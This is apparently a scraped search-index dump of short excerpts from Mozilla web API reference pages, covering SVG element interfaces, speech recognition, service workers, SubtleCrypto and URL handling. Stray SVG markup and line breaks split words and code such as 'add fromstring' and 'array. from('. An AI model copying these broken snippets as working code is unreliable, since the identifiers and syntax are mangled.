x="1" y="1" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="91" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgglyphrefelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties
from its parent, svgelement and implements properties
from svgurireference and svgstylable.
... methods this interface has no methods but inherits methods
from its parent, svgelement and implements methods
from svgurireference and svgstylable.
SVGHKernElement - Web APIs
idth="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="76" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svghkernelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but inherits properties
from its parent, svgelement.
... methods this interface has no methods but inherits methods
from its parent, svgelement.
SVGLinearGradientElement - Web APIs
="65" width="240" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="141" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svglineargradientelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties
from its parent, svggradientelement.
... methods this interface doesn't implement any specific methods, but inherits methods
from its parent interface, svggradientelement.
SVGMPathElement - Web APIs
l="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgmpathelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface doesn't implement any specific properties, but inherits properties
from its parent interface, svgelement.
... methods this interface doesn't implement any specific methods, but inherits methods
from its parent interface, svgelement.
SVGMarkerElement - Web APIs
properties this interface also inherits properties
from its parent interface, svgelement, and implements properties
from svgexternalresourcesrequired, svganimatedpreserveaspectratio, and svgstylable.
... methods this also inherits methods
from its parent, svgelement, and implements properties
from svgstylable.
SVGMaskElement - Web APIs
x="341" y="65" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgmaskelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties
from its parent, svgelement.
... methods this interface doesn't implement any specific methods, but inherits methods
from its parent interface, svgelement.
SVGMeshElement - Web APIs
ill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="71" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgmeshelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface doesn't implement any specific properties, but inherits properties
from its parent interface, svggeometryelement, and implements the properties of svgurireference.
... methods this interface doesn't implement any specific methods, but inherits methods
from its parent interface, svggeometryelement, and implements the methods of svgurireference.
SVGMetadataElement - Web APIs
#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgmetadataelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface doesn't implement any specific properties, but inherits properties
from its parent interface, svgelement.
... methods this interface doesn't implement any specific methods, but inherits methods
from its parent interface, svgelement.
SVGMissingGlyphElement - Web APIs
0" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="111" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgmissingglyphelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but inherits properties
from its parent, svgelement and implements properties
from svgstylable.
... methods this interface has no methods but inherits methods
from its parent, svgelement and implements methods
from svgstylable.
SVGPatternElement - Web APIs
"311" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgpatternelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties
from its parent, svgelement and implements the ones
from svgfittoviewbox and svgurireference.
... methods this interface doesn't implement any specific methods, but inherits methods
from its parent interface, svgelement and implements the ones
from svgfittoviewbox and svgurireference.
SVGRadialGradientElement - Web APIs
="65" width="240" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="141" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgradialgradientelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties
from its parent, svggradientelement.
... methods this interface doesn't implement any specific methods, but inherits methods
from its parent interface, svggradientelement.
SVGSetElement - Web APIs
ill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="186" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgsetelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface doesn't implement any specific properties, but inherits properties
from its parent interface, svganimationelement.
... methods this interface doesn't implement any specific methods, but inherits methods
from its parent interface, svganimationelement.
SVGSolidcolorElement - Web APIs
4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="101" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgsolidcolorelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface doesn't implement any specific properties, but inherits properties
from its parent interface, svgelement.
... methods this interface doesn't implement any specific methods, but inherits methods
from its parent interface, svgelement.
SVGStyleElement - Web APIs
x="331" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgstyleelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties
from its parent interface, svgelement and implements properties
from linkstyle.
... methods this interface doesn't implement any specific methods, but inherits methods
from its parent interface, svgelement and implements methods
from linkstyle.
SVGTRefElement - Web APIs
width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="71" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgtrefelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but inherits properties
from its parent, svgtextpositioningelement and implements properties
from svgurireference.
... methods this interface has no methods but inherits methods
from its parent, svgtextpositioningelement and implements properties
from svgurireference.
SVGTextElement - Web APIs
l="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="-349" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgtextelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface doesn't implement any specific properties, but inherits properties
from its parent interface, svgtextpositioningelement.
... methods this interface doesn't implement any specific methods, but inherits methods
from its parent interface, svgtextpositioningelement.
SVGTextPositioningElement - Web APIs
65" width="250" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="-114" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgtextpositioningelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties
from its parent, svgtextcontentelement.
... methods this interface doesn't provide any specific methods, but inherits methods
from its parent, svgtextcontentelement.
SVGTransform - Web APIs
note that the values
from the parameter matrix are copied.
... browser compatibility the compatibility table on this page is generated
from structured data.
SVGUseElement - Web APIs
t x="131" y="65" width="130" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="196" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svguseelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties
from its parent interface, svggraphicselement and implements properties
from svgurireference.
... methods this interface doesn't implement any specific methods, but inherits methods
from its parent interface, svggraphicselement and implements methods
from svgurireference.
SVGVKernElement - Web APIs
idth="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="76" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgvkernelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties but inherits properties
from its parent, svgelement.
... methods this interface has no methods but inherits methods
from its parent, svgelement.
SVGViewElement - Web APIs
properties this interface also inherits properties
from its parent interface, svgelement.
... methods this interface doesn't implement any specific methods, but inherits methods
from its parent interface, svgelement.
ScreenOrientation.unlock() - Web APIs
the unlock() property of the screenorientation interface unlocks the orientation of the containing document
from its default orientation.
... browser compatibility the compatibility table on this page is generated
from structured data.
ScreenOrientation - Web APIs
screenorientation.unlock() unlocks the orientation of the containing document
from its default orientation.
... browser compatibility the compatibility table on this page is generated
from structured data.
Screen Capture API - Web APIs
to start capturing video
from the screen, you call getdisplaymedia() on the instance of media navigator.mediadevices: capturestream = await navigator.mediadevices.getdisplaymedia(displaymediaoptions); the promise returned by getdisplaymedia() resolves to a mediastream which streams the captured media.
... feature policy validation user agents that support feature policy (either using http's feature-policy header or the <i
frame> attribute allow) can specify a desire to use the screen capture api using the policy control directive display-capture: <i
frame allow="display-capture" src="/some-other-document.html"> the default allow list is self, which lets the any content within the document use screen capture.
ScriptProcessorNode.bufferSize - Web APIs
the buffersize property of the scriptprocessornode interface returns an integer representing both the input and output buffer size, in sample-
frames.
...for each channel and each sample
frame, the scriptnode.onaudioprocess function takes the associated audioprocessingevent and uses it to loop through each channel of the input buffer, and each sample in each channel, and add a small amount of white noise, before setting that result to be the output sample in each case.
Selection.extend() - Web APIs
the selection will be
from the anchor to the new focus, regardless of direction.
... working draft current browser compatibility the compatibility table on this page is generated
from structured data.
Selection.removeAllRanges() - Web APIs
the selection.removeallranges() method removes all ranges
from the selection, leaving the anchornode and focusnode properties equal to null and leaving nothing selected.
... working draft current browser compatibility the compatibility table on this page is generated
from structured data.
Selection.removeRange() - Web APIs
the selection.removerange() method removes a range
from a selection.
... working draft current browser compatibility the compatibility table on this page is generated
from structured data.
Selection API - Web APIs
browser compatibility selection the compatibility table on this page is generated
from structured data.
... 4notes full support 4notes notes before firefox 35, the method didn't throw if node was null.opera android full support yessafari ios full support yessamsung internet android full support yesdelete
fromdocument experimentalchrome full support yesedge full support 12firefox full support 55ie ?
ServiceWorkerContainer: message event - Web APIs
the message event is used in a page controlled by a service worker to receive messages
from the service worker.
... bubbles no cancelable no interface messageevent event handler property onmessage examples in this example the service worker get the client's id
from a fetch event and then sends it a message using client.postmessage: // in the service worker async function messageclient(clientid) { const client = await clients.get(clientid); client.postmessage('hi client!'); } addeventlistener('fetch', (event) => { messageclient(event.clientid); event.respondwith(() => { // ...
ServiceWorkerContainer.startMessages() - Web APIs
the startmessages() method of the serviceworkercontainer interface explicitly starts the flow of messages being dispatched
from a service worker to pages under its control (e.g.
... explanation by default, all messages sent
from a page's controlling service worker to the page (using client.postmessage()) are queued while the page is loading, and get dispatched once the page's html document has been loaded and parsed (i.e.
ServiceWorkerContainer - Web APIs
this property returns null during a force-re
fresh request (shift + re
fresh) or if there is no active worker.
... serviceworkercontainer.startmessages() explicitly starts the flow of messages being dispatched
from a service worker to pages under its control (e.g.
ServiceWorkerRegistration.index - Web APIs
syntax var a contentindex object = serviceworkerregistration.index; value a contentindex object examples you can access the property
from either your main script or the registered service worker.
... here is an example
from the main script: // reference registration const registration = await navigator.serviceworker.ready; // feature detection if ('index' in registration) { // content index api functionality const contentindex = registration.index; }
from the service worker: // service worker script const contentindex = self.registration.index; specifications specification status comment unknownthe definition of 'index' in that specification.
ServiceWorkerRegistration.navigationPreload - Web APIs
browser compatibility the compatibility table in this page is generated
from structured data.
...android webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnavigationpreload experimentalchrome full support 59edge full support 17 full support 17 full support 16disabled disabled
from version 16: this feature is behind the enable service workers preference.firefox full support 44notes full support 44notes notes extended support releases (esr) before firefox 78 esr do not support service workers and the push api.ie no support noopera ...
ServiceWorkerRegistration - Web APIs
properties also implements properties
from its parent interface, eventtarget.
... methods also implements methods
from its parent interface, eventtarget.
Service Worker API - Web APIs
responding to resource requests
from other origins.
... extendablemessageevent the event object of a message event fired on a service worker (when a channel message is received on the serviceworkerglobalscope
from another context) — extends the lifetime of such events.
ShadowRoot.mode - Web APIs
this defines whether or not the shadow root's internal features are accessible
from javascript.
... when the mode of a shadow root is "closed", the shadow root’s implementation internals are inaccessible and unchangeable
from javascript—in the same way the implementation internals of, for example, the <video> element are inaccessible and unchangeable
from javascript.
SharedWorkerGlobalScope.close() - Web APIs
syntax self.close(); example if you want to close your worker instance
from inside the worker itself, you can call the following: close(); close() and self.close() are effectively equivalent — both represent close() being called
from inside the worker's inner scope.
... note: there is also a way to stop the worker
from the main thread: the worker.terminate method.
SharedWorkerGlobalScope.onconnect - Web APIs
}; examples this example shows a shared worker file — when a connection to the worker occurs
from a main thread via a messageport, the onconnect event handler fires.
... living standard browser compatibility the compatibility table in this page is generated
from structured data.
SourceBuffer.appendBufferAsync() - Web APIs
the appendbufferasync() method of the sourcebuffer interface begins the process of asynchronously appending media segment data
from an arraybuffer or arraybufferview object to the sourcebuffer.
... example this simplified example async function, fillsourcebuffer(), takes as input parameters buffersource, buffer, and a sourcebuffer to which to append the source media
from the buffer.
SourceBuffer.appendWindowEnd - Web APIs
coded media
frames with timestamps wthin this range will be appended, whereas those outside the range will be filtered out.
...its sourcebuffer.updating property is currently true), or this sourcebuffer has been removed
from the mediasource.
SourceBuffer.appendWindowStart - Web APIs
coded media
frames with timestamps wthin this range will be appended, whereas those outside the range will be filtered out.
...its sourcebuffer.updating property is currently true), or this sourcebuffer has been removed
from the mediasource.
SourceBuffer.mode - Web APIs
you can, however, change the value
from segments to sequence.
...its sourcebuffer.updating property is currently true), the last media segment appended to this sourcebuffer is incomplete, or this sourcebuffer has been removed
from the mediasource.
SourceBuffer.remove() - Web APIs
the remove() method of the sourcebuffer interface removes media segments within a specific time range
from the sourcebuffer.
... invalidstateerror the sourcebuffer.updating property is equal to true, or this sourcebuffer has been removed
from the mediasource.
SourceBuffer.removeAsync() - Web APIs
the removeasync() method of the sourcebuffer interface starts the process of asynchronously removing
from the sourcebuffer media segments found within a specific time range.
... return value a promise whose fulfillment handler is executed once the buffers in the specified time range have been removed
from the sourcebuffer.
SpeechGrammar.src - Web APIs
the src property of the speechgrammar interface sets and returns a string containing the grammar
from within in the speechgrammar object.
...denrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.add
fromstring(grammar, 1); recognition.grammars = speechrecognitionlist; console.log(speechrecognitionlist[0].src); // should return the same as the contents of the grammar variable console.log(speechrecognitionlist[0].weight); // should return 1 - the same as the weight set in line 4.
SpeechGrammar - Web APIs
properties speechgrammar.src sets and returns a string containing the grammar
from within in the speechgrammar object instance.
...denrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.add
fromstring(grammar, 1); recognition.grammars = speechrecognitionlist; console.log(speechrecognitionlist[0].src); // should return the same as the contents of the grammar variable console.log(speechrecognitionlist[0].weight); // should return 1 - the same as the weight set in line 4.
SpeechGrammarList.SpeechGrammarList() - Web APIs
examples in our simple speech color changer example, we create a new speechrecognition object instance using the speechrecognition() constructor, create a new speechgrammarlist, add our grammar string to it using the speechgrammarlist.add
fromstring method, and set it to be the grammar that will be recognised by the speechrecognition instance using the speechrecognition.grammars property.
...denrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.add
fromstring(grammar, 1); recognition.grammars = speechrecognitionlist; specifications specification status comment web speech apithe definition of 'speechgrammarlist' in that specification.
SpeechGrammarList.item() - Web APIs
the item getter of the speechgrammarlist interface is a standard getter — it allows individual speechgrammar objects to be retrieved
from the speechgrammarlist using array syntax.
...denrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.add
fromstring(grammar, 1); recognition.grammars = speechrecognitionlist; var myfirstgrammar = speechrecognitionlist[0]; // var should contain the speechgrammar object created in line 4.
SpeechRecognition() - Web APIs
examples this code is excerpted
from our speech color changer example.
...denrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.add
fromstring(grammar, 1); recognition.grammars = speechrecognitionlist; //recognition.continuous = false; recognition.lang = 'en-us'; recognition.interimresults = false; recognition.maxalternatives = 1; ...
SpeechRecognition.abort() - Web APIs
the abort() method of the web speech api stops the speech recognition service
from listening to incoming audio, and doesn't attempt to return a speechrecognitionresult.
...denrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.add
fromstring(grammar, 1); recognition.grammars = speechrecognitionlist; var diagnostic = document.queryselector('.output'); var bg = document.queryselector('html'); document.body.onclick = function() { recognition.start(); console.log('ready to receive a color command.'); } abortbtn.onclick = function() { recognition.abort(); console.log('speech recognition aborted.'); } recognition.onspee...
SpeechRecognition.continuous - Web APIs
true means continuous, and false means not continuous (single result each time.) examples this code is excerpted
from our speech color changer example.
...denrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.add
fromstring(grammar, 1); recognition.grammars = speechrecognitionlist; recognition.continuous = false; recognition.lang = 'en-us'; recognition.interimresults = false; recognition.maxalternatives = 1; ...
SpeechRecognition.grammars - Web APIs
examples this code is excerpted
from our speech color changer example.
...denrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.add
fromstring(grammar, 1); recognition.grammars = speechrecognitionlist; //recognition.continuous = false; recognition.lang = 'en-us'; recognition.interimresults = false; recognition.maxalternatives = 1; ...
SpeechRecognition.interimResults - Web APIs
examples this code is excerpted
from our speech color changer example.
...denrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.add
fromstring(grammar, 1); recognition.grammars = speechrecognitionlist; //recognition.continuous = false; recognition.lang = 'en-us'; recognition.interimresults = false; recognition.maxalternatives = 1; ...
SpeechRecognition.lang - Web APIs
examples this code is excerpted
from our speech color changer example.
...denrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.add
fromstring(grammar, 1); recognition.grammars = speechrecognitionlist; //recognition.continuous = false; recognition.lang = 'en-us'; recognition.interimresults = false; recognition.maxalternatives = 1; ...
SpeechRecognition.maxAlternatives - Web APIs
examples this code is excerpted
from our speech color changer example.
...denrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.add
fromstring(grammar, 1); recognition.grammars = speechrecognitionlist; //recognition.continuous = false; recognition.lang = 'en-us'; recognition.interimresults = false; recognition.maxalternatives = 1; ...
SpeechRecognition.stop() - Web APIs
the stop() method of the web speech api stops the speech recognition service
from listening to incoming audio, and attempts to return a speechrecognitionresult using the audio captured so far.
...denrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.add
fromstring(grammar, 1); recognition.grammars = speechrecognitionlist; var diagnostic = document.queryselector('.output'); var bg = document.queryselector('html'); document.body.onclick = function() { recognition.start(); console.log('ready to receive a color command.'); } abortbtn.onclick = function() { recognition.abort(); console.log('speech recognition aborted.'); } recognition.onspee...
SpeechRecognitionError - Web APIs
the speechrecognitionerror interface of the web speech api represents error messages
from the recognition service.
... properties speechrecognitionerror also inherits properties
from its parent interface, event.
SpeechRecognitionErrorEvent - Web APIs
the speechrecognitionerrorevent interface of the web speech api represents error messages
from the recognition service.
... properties speechrecognitionerrorevent also inherits properties
from its parent interface, event.
SpeechRecognitionEvent - Web APIs
properties speechrecognitionevent also inherits properties
from its parent interface, event.
... examples this code is excerpted
from our speech color changer example.
SpeechSynthesis.cancel() - Web APIs
the cancel() method of the speechsynthesis interface removes all utterances
from the utterance queue.
...this is quite a long sentence to say.'); var utterance2 = new speechsynthesisutterance('we should say another sentence too, just to be on the safe side.'); synth.speak(utterance1); synth.speak(utterance2); synth.cancel(); // utterance1 stops being spoken immediately, and both are removed
from the queue specifications specification status comment web speech apithe definition of 'cancel()' in that specification.
SpeechSynthesisErrorEvent - Web APIs
properties speechsynthesiserrorevent extends the speechsynthesisevent interface, which inherits properties
from its parent interface, event.
... methods speechsynthesiserrorevent extends the speechsynthesisevent interface, which inherits methods
from its parent interface, event.
SpeechSynthesisEvent - Web APIs
properties the speechsynthesisevent interface also inherits properties
from its parent interface, event.
... methods the speechsynthesisevent interface also inherits methods
from its parent interface, event.
StaticRange - Web APIs
abstractrange and staticrange are not available
from web workers.
... properties the properties below are inherited
from its parent interface, abstractrange.
StereoPannerNode.StereoPannerNode() - Web APIs
syntax var stereopannernode = stereopannernode(context, options) parameters inherits parameters
from the audionodeoptions dictionary.
... browser compatibility the compatibility table on this page is generated
from structured data.
StereoPannerNode - Web APIs
properties inherits properties
from its parent, audionode.
... methods no specific method; inherits methods
from its parent, audionode.
StorageEstimate - Web APIs
these values are only estimates for several reasons, including both performance and preventing storage capacity data
from being used for fingerprinting purposes.
... all included members will have a usage greater than 0 and any storage system with 0 usage will be excluded
from the dictionary.
Streams API - Web APIs
readablestreamdefaultreader represents a default reader that can be used to read stream data supplied
from a network (e.g.
... examples
from other developers: progress indicators with streams, service workers, & fetch.
StylePropertyMap - Web APIs
p" target="_top"><rect x="1" y="1" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="81" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">stylepropertymap</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties
from its parent, stylepropertymapreadonly.
... methods inherits methods
from its parent, stylepropertymapreadonly.
SubtleCrypto.deriveBits() - Web APIs
the derivebits() method of the subtlecrypto interface can be used to derive an array of bits
from a base key.
...*/ function getkeymaterial() { const password = window.prompt("enter your password"); const enc = new textencoder(); return window.crypto.subtle.importkey( "raw", enc.encode(password), {name: "pbkdf2"}, false, ["derivebits", "derivekey"] ); } /* derive some bits
from a password supplied by the user.
SubtleCrypto.digest() - Web APIs
a digest is a short fixed-length value derived
from some variable-length input.
...the inhabitants refer to it as the planet earth.'; async function digestmessage(message) { const msguint8 = new textencoder().encode(message); // encode as (utf-8) uint8array const hashbuffer = await crypto.subtle.digest('sha-256', msguint8); // hash the message const hasharray = array.
from(new uint8array(hashbuffer)); // convert buffer to byte array const hashhex = hasharray.map(b => b.tostring(16).padstart(2, '0')).join(''); // convert bytes to hex string return hashhex; } const digesthex = await digestmessage(text); console.log(digesthex); specifications specification status comment web cryptography apithe definition of 's...
SubtleCrypto.exportKey() - Web APIs
/* convert an arraybuffer into a string
from https://developers.google.com/web/updates/2012/06/how-to-convert-arraybuffer-to-and-
from-string */ function ab2str(buf) { return string.
fromcharcode.apply(null, new uint8array(buf)); } /* export the given key and write it into the "exported-key" space.
... /* convert an arraybuffer into a string
from https://developers.google.com/web/updates/2012/06/how-to-convert-arraybuffer-to-and-
from-string */ function ab2str(buf) { return string.
fromcharcode.apply(null, new uint8array(buf)); } /* export the given key and write it into the "exported-key" space.
TextRange - Web APIs
a textrange object represents a
fragment of text in a document, similar to the standard defined range interface.
... however, in other browsers, document does not have a so-called selection attribute - they operate on the selection through the standard selection api, that is, they get the selection object through the window.getselection() method, and use the standard range object to process the text
fragment.
TextTrackCue - Web APIs
the cue includes the start time (the time at which the text will be displayed) and the end time (the time at which it will be removed
from the display), as well as other information.
... properties this interface also inherits properties
from eventtarget.
Touch.clientX - Web APIs
when the touchend event handler is invoked, the changes in the touch.clientx and touch.clienty coordinates,
from the starting touch point to the ending touch point, are calculated.
... // the first touch point in the changedtouches // list is the touch point that was just removed
from the surface.
Touch.clientY - Web APIs
when the touchend event handler is invoked, the changes in the touch.clientx and touch.clienty coordinates,
from the starting touch point to the ending touch point, are calculated.
... // the first touch point in the changedtouches // list is the touch point that was just removed
from the surface.
Touch.target - Web APIs
summary returns the element (eventtarget) on which the touch contact started when it was first placed on the surface, even if the touch point has since moved outside the interactive area of that element or even been removed
from the document.
... note that if the target element is removed
from the document, events will still be targeted at it, and hence won't necessarily bubble up to the window or document anymore.
TouchList.identifiedTouch() - Web APIs
syntax var touchitem = touchlist.identifiedtouch(id); parameters id an integer value identifying the touch object to retrieve
from the list.
...this api was removed
from the touch events v2 draft specification.
Multi-touch interaction - Web APIs
however, the interfaces can be a bit tricky for programmers to use because touch events are very different
from other dom input events, such as mouse events.
...it also calls preventdefault() to keep the browser
from applying further event handling (for example, mouse event emulation).
TrackDefaultList - Web APIs
properties inherits properties
from its parent interface, eventtarget.
... methods inherits properties
from its parent interface, eventtarget.
TransitionEvent - Web APIs
properties also inherits properties
from its parent event.
... methods also inherits properties
from its parent event.
TreeWalker.whatToShow - Web APIs
nodefilter.show_document_
fragment 1024 shows document
fragment nodes.
... living standard no change
from document object model (dom) level 2 traversal and range specification document object model (dom) level 2 traversal and range specificationthe definition of 'treewalker.whattoshow' in that specification.
UIEvent.initUIEvent() - Web APIs
obsolete
from document object model (dom) level 2 events specification, deprecated.
... browser compatibility the compatibility table on this page is generated
from structured data.
UIEvent.view - Web APIs
the uievent.view read-only property returns the windowproxy object
from which the event was generated.
... obsolete
from document object model (dom) level 2 events specification, changed the type of view
from abstractview to windowproxy.
UIEvent - Web APIs
uievent derives
from event.
... obsolete added the uievent() constructor, deprecated the inituievent() method and changed the type of view
from abstractview to windowproxy.
URL - Web APIs
properties hash a usvstring containing a '#' followed by the
fragment identifier of the url.
... to get the search params
from the current window's url, you can do this: // https://some.site/?id=123 const parsedurl = new url(window.location.href); console.log(parsedurl.searchparams.get("id")); // "123" the tostring() method of url just returns the value of the href property, so the constructor can be used to normalize and encode a url directly.
URLSearchParams() - Web APIs
syntax var urlsearchparams = new urlsearchparams(init); parameters init optional one of: a usvstring, which will be parsed
from application/x-www-form-urlencoded format.
... examples the following example shows how to create a urlsearchparams object
from a url string.
URLUtilsReadOnly.hash - Web APIs
the urlutilsreadonly.hash read-only property returns a domstring containing a '#' followed by the
fragment identifier of the url.
... browser compatibility the compatibility table in this page is generated
from structured data.
URL API - Web APIs
